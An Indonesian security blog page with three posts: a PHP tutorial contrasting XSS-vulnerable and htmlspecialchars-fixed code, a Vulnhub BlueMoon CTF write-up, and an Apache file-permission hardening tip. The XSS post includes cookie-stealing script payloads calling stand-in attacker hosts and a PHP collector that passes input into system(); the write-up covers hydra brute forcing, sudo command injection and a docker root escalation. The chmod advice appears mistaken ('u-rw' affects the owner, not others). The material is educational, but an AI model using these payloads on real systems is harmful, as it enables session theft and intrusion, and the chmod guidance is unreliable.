Pengikut

Tampilkan postingan dengan label Web. Tampilkan semua postingan
Tampilkan postingan dengan label Web. Tampilkan semua postingan

Sabtu, 15 Februari 2025

Vuln Code VS Secure Code -- PHP (1) Sanitazing input


1. Pendahuluan


"Menemukan kerentanan itu susah, tapi semua itu berubah setelah saya mengenal sedikit akan PHP"

Ya, dari gambar di atas mungkin kalian yang pernah coding PHP pasti paham lah. Gimana rasanya belajar bahasa pemrograman yang merupakan campuran dari bahasa pemograman C yang merupakan bahasa text to binary dan Bash scripting yang biasa digunakan pada sistem linux/unix berkedok web server. Sampai saya pikir, apa saya pakai bahasa python aja kali ya buat web dengan framework Flask atau Django, wkwk.

Saya sudah membuat repositori github berisi kode yang diperlukan dalam  pembahasan ini: DISINI


2. Apa itu PHP?


Jadi PHP itu apa sih? Singkatan dari Hypertext Preprocessor, merupakan bahasa yang bisa dibilang berada di tengah-tengah server, client, dan sistem. Jadi bisa integrasi lebih luas lah. Bahasa ini dibuat untuk membantu kekurangan HTML yang lebih mengarah ke tampilan dan hanya bisa membantu dari tag input dan JS yang di mana, scriptnya masih bisa dibaca sehingga bisa berbahaya kalau dijadikan back end penuh.

Dari namanya bisa kita simpulkan kalau PHP itu kayak prosesor, yang mengatur proses integrasi dalam suatu website dan itulah kenapa cangkupan PHP lebih luas seperti bisa ke server seperti SQL untuk mengakses database, ke client seperti menampilkan suatu text, dan ke sistem yang bisa mengeksekusi suatu command sistem dan memunculkan hasilnya ke user.

Dari informasi yang gw dapet, PHP ini ada 2 metode untuk interaksi user dan server. POST dan GET, kalau POST itu kayak mengirim paket atau permintaan dan tidak memengaruhi URL kita. Kalau GET itu mendapat permintaan dari user sehingga memengaruhi URL dan biasanya berupa "index.php?input=blablabla".

3. Vuln Code


Kita bahas dulu nih bagian Vuln codenya

$TEXT = $_GET['text'];

jadi ada dalam versi vulnerable dan securenya sama-sama menggunakan parameter "text" dengan metode GET.  Tapi keduanya memiliki cara berbeda dalam menangani masukan dari user.

Kalau kalian lihat kode di atas, itu parameter text nya tidak disanitasi dengan benar. Script menerima masukan apapun jenisnya dari user yang bisa mengakibatkan XSS vulnerability.

Tampilan web dari Vuln Code dan Secure code (secara tampilan):



Coba kita injeksi input dengan: "<script>window.location='http://linkmalware.com';</script>"
Ini mungkin tidak se berbahaya XSS stored yang tersimpan dan bisa mengakibatkan deface. Tapi bisa digunakan penyerang untuk kegiatan phising seperti

<script>document.location='http://attacker.com/steal?cookie=' + document.cookie</script>

yang bisa membuat user yang memasukkan kode ini atau ke url nya secara langsung mengirim sesi cookie ke penyerang, kalian gak mau kan website dinamis PHP kalian dibuat phising?.

Contoh script untuk phising (hanya contoh saja! jangan dipakai hal yang tidak etis!):


<?php
        $COOKIE = $_GET['steal'];
        if ($COOKIE == ''){
                echo "SHHH, use '?steal='";
        }
        else {
                system("echo '$COOKIE' >> steal.txt");
        }
?>

payload: <script>document.location = 'http://IP/steal.php?steal=' + document.cookie</script>
URL: http://IPWEB/vuln.php?text=<script>document.location = 'http://IP/steal.php?steal=' + document.cookie</script>

Hasil dari injeksi di file steal.txt: 



Nah itulah salah satu bahayanya, jadi kerentanan kita dipakai untuk penipuan dan pencurian sesi cookie yang bisa berdampak buruk bagi pengguna web kita.

4. Secure Code

Nah jadi gimana cara mengamankannya? kita pakai:


$TEXT = htmlspecialchars($_GET['text'], ENT_QUOTES, 'UTF-8');
penjelasan: 
1. htmlspecialchars --> untuk merubah input tidak menjadi kode apapun selain html
2. ENT_QUOTES --> untuk merubah unsur quotes '/" menjadi kata lain
3. UTF-8 --> menunjukan karakter encoding untuk mendukung bahasa dan simbol

Hasil dari Secure code:



Nah jadinya gak vuln XSS tuh, karena javascriptnya tidak tereksekusi.
Sekian.

Rabu, 29 Januari 2025

Vulnlab (1) -- Vulnhub@BlueMoon (WriteUp)


Disclaimer: Praktik ini dilakukan pada target yang sudah diizinkan untuk diretas seperti vulnlab atau laboratorium/virtual machine yang berasal dari Vulnhub. Bertujuan untuk edukasi semata.
---------------------------------------------------
Kalau mau ke Vulnhub page-nya: KESINI
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Kalau mau langsung download: KESINI
---------------------------------------------------

1. Scanning & Enumeration


Kita pakai nmap dengan -sC (script scanning) dan -p- (semua port) untuk permulaan
nmap -sC -p- 192.168.1.11 -T5

Output:


Ok, ternyata port 21 (ftp), 22 (ssh) dan 80 (http/web) terbuka cuy. Coba kita lihat webnya dengan buka chrome lalu search "http://(IP nya)"

Page:

Saya sudah cek source code nya dan tidak menunjukkan apa-apa, yaudah deh saya pakai dirsearch buat direktori enumeration. Saya pakai wordlists dari Seclists medium web, kalau mau lihat bisa KESINI.


dirsearch -u http://192.168.1.11 -w ~/medium_web_list.txt

Execute:

Nah ada direktori hidden_text tuh, coba kita buka.

Page:


Bentar kok kata "Thank You" nya seperti link gitu. Pas dipencet ternyata adalah link yang mengarah ke file gambar yang mirip dengan QR Code.

2. Analisis gambar/Steganografi


File/Image:


Saya pakai QR code scanner online aja biar cepet.

Output:


3. Akses Shell (1).


Ok, logikanya kalau kita bisa login FTP ke sistem yang berbasis Linux. Ada kemungkinan Kredensial login kita bisa digunakan pada SSH + kita pakai python -c untuk menggunakan pty buat mengubah shell kita agar nanti kalau mau apa bisa enak, pakai /bin/bash aja biar lebih stabil.

ssh userftp@(IP nya)
password: ftpp@ssword
python -c 'import pty; pty.spawn("/bin/bash")'

btw, pas saya lihat lebih dalam lagi. Ada direktori "files" yang berisi dua file yaitu information.txt dan p_lists.txt. Coba kita lihat information.txt nya.

Output:


Ada pesan bahwa user dengan nama "robin" disuruh untuk memilih antara password disuatu list yang dimana, adalah file bernama "p_lists.txt". Kita copy paste isi filenya lalu taruh di file kita lalu langsung brute force user "robin" pakai hydra.

hydra -l robin -P p_lists.txt ssh://(IP nya) -t 4

Output:


Kita keluar dari userftp dan langsung ssh ke user robin-nya pakai "ssh robin@(IP-nya)".

4. Akses Shell (2).



Ok, ada 2 file lagi nih. "user1.txt" yang merupakan flag pertama kita. Dan feedback.sh. Bentar coba kita otak-atik dengan "sudo -l" untuk sedikit melihat config sudo antar user-nya.


Hmm? kita bisa menggunakan user "jerry" untuk mengeksekusi "feedback.sh" dan file tersebut ternyata 
vuln dari kata "$feedback 2>/dev/null" coy. Yang artinya bisa kita gunakan untuk mengeksekusi suatu command dengan atas nama user "jerry"

sudo -u jerry ./feedback.sh 
Name: apaaja
feedback: /bin/bash
python -c 'import pty; pty.spawn("/bin/bash")'

Execute:


Sip kita sudah dapat flag yang ke 2.

5. Root access/akses root

Coba kita pakai command "id" untuk sedikit melihat informasi akan user yang kita gunakan saat ini.


Hmm? docker? coba kita pakai payload privilege escalation with docker untuk mendapat root.

docker run -v /:/mnt --rm -it alpine chroot /mnt sh
# penjelasan:
docker run --> buat jalanin kontainer baru.
-v /:/mnt --> buat memasang direktori host dari '/'yang merupakan root ke '/mnt' pada kontainer.
--rm --> otomatis menghapus kontainer setelah selesai.
-it --> perpaduan antara terminal, shell interaktif.
alpine --> nama gambar docker untuk container.
chroot /mnt sh --> mengubah direktori root ke /mnt dan memulai shell.
Execute:


6. Penutup praktik

Nah udah deh, disini kita bisa melakukan apa aja. Deface atau segala macem.

Sebelum: 


Sesudah:


7. Kesimpulan

walau ini vulnlab yang dimana semua kerentanan ada yang disengaja, kita bisa mengambil kesimpulan bahwa untuk meningkatkan keamanan agar tidak terjadi seperti ini bisa dengan cara:

1. Usahakan jangan buat file password list biar gak di crack, kirim langsung aja ke orangnya.
2.  Pastikan pengaturan user-nya aman 
3. Jangan pakai ftp karena lebih mudah dibaca (plain text).

Sekian

Sabtu, 25 Januari 2025

Cara membuat file dalam website mu lebih aman (apache2)

 


Disclaimer: Post ini hanya bertujuan untuk edukasi dengan tema meningkatkan prinsip keamanan CIA Triad ke 1 (Kerahasiaan).

Jujur ini adalah hal yang basic tapi penting banget kalau kalian semisalnya menaruh file penting dalam website kalian yang dibutuhkan seperti config, .htaccess, dan lainnya yang sensitif. Ini sebenarnya bukan kerentanan sih. Hanya saja bisa jadi jembatan penyerang untuk mencari kerentanan lainnya. Hal ini sering ditemukan pada website CBT, website kecil-kecilan, dan website yang kurang diperhatikan

Semisalnya ada suatu website yang menyimpan file rahasia yang ada di /var/www/html atau tempat dimana file index website tersebut ditaruh.

contoh website:


Nah penyerang bisa aja nyari hal yang disembunyikan lewat gambarnya.
Contoh:


ternyata gambar tersebut tersimpan pada suatu direktori "img/" dengan nama file "boci.jpg", coba kita bedah lebih lanjut ke direktori tersebut dengan mengganti "/img/boci.jpg" menjadi "/img" saja.


Nah ada file "secret.html" tuh, coba kita buka.


Ok jadi gimana cara membuat file kita lebih aman? Dalam Linux ada yang namanya "chmod" untuk mengatur izin baca, tulis/edit, dan execute/run. Ketika kita mengakses suatu web apache, kita hampir mirip dengan user www-data dalam mengakses file. User ini dibuat agar ketika penyerang berhasil mendapat akses shell ke web tersebut, dia hanya menjadi user www-data yang memiliki akses terbatas yang lebih dominan ke arah baca saja. Otomatis kita penyerang bisa baca nih file yang sensitif dan gimana cara membuat penyerang atau orang yang tidak memiliki hak tidak bisa membaca file tersebut?


# untuk menghapus izin baca pada user lain (others) pada semua isi direktori + direktorinya (pengunjung web termasuk)
chmod u-rw -R (direktori yang ingin disembunyikan). atau 
chmod u-rw (file) untum file tertentu
# Jangan pakai command yang pertama kalau kalian pakai ke file/direktori yang perlu diakses

Kalau kita jalankan command di atas maka pengunjung/penyerang web tidak bisa melihat file tersebut.

Sebelum pakai command chmod:


Page:


Sesudah:


Page:



Gimana? mudah kan? + direktori "/img" juga tidak bisa diakses oleh pengunjung/penyerang web. Kebanyakan web yang menggunakan cara ini juga lupa untuk menghapus akses baca pada suatu file dalam direktori, jadi walau direktorinya gak bisa kita baca. Kita masih bisa lihat file didalamnya.
Sekian.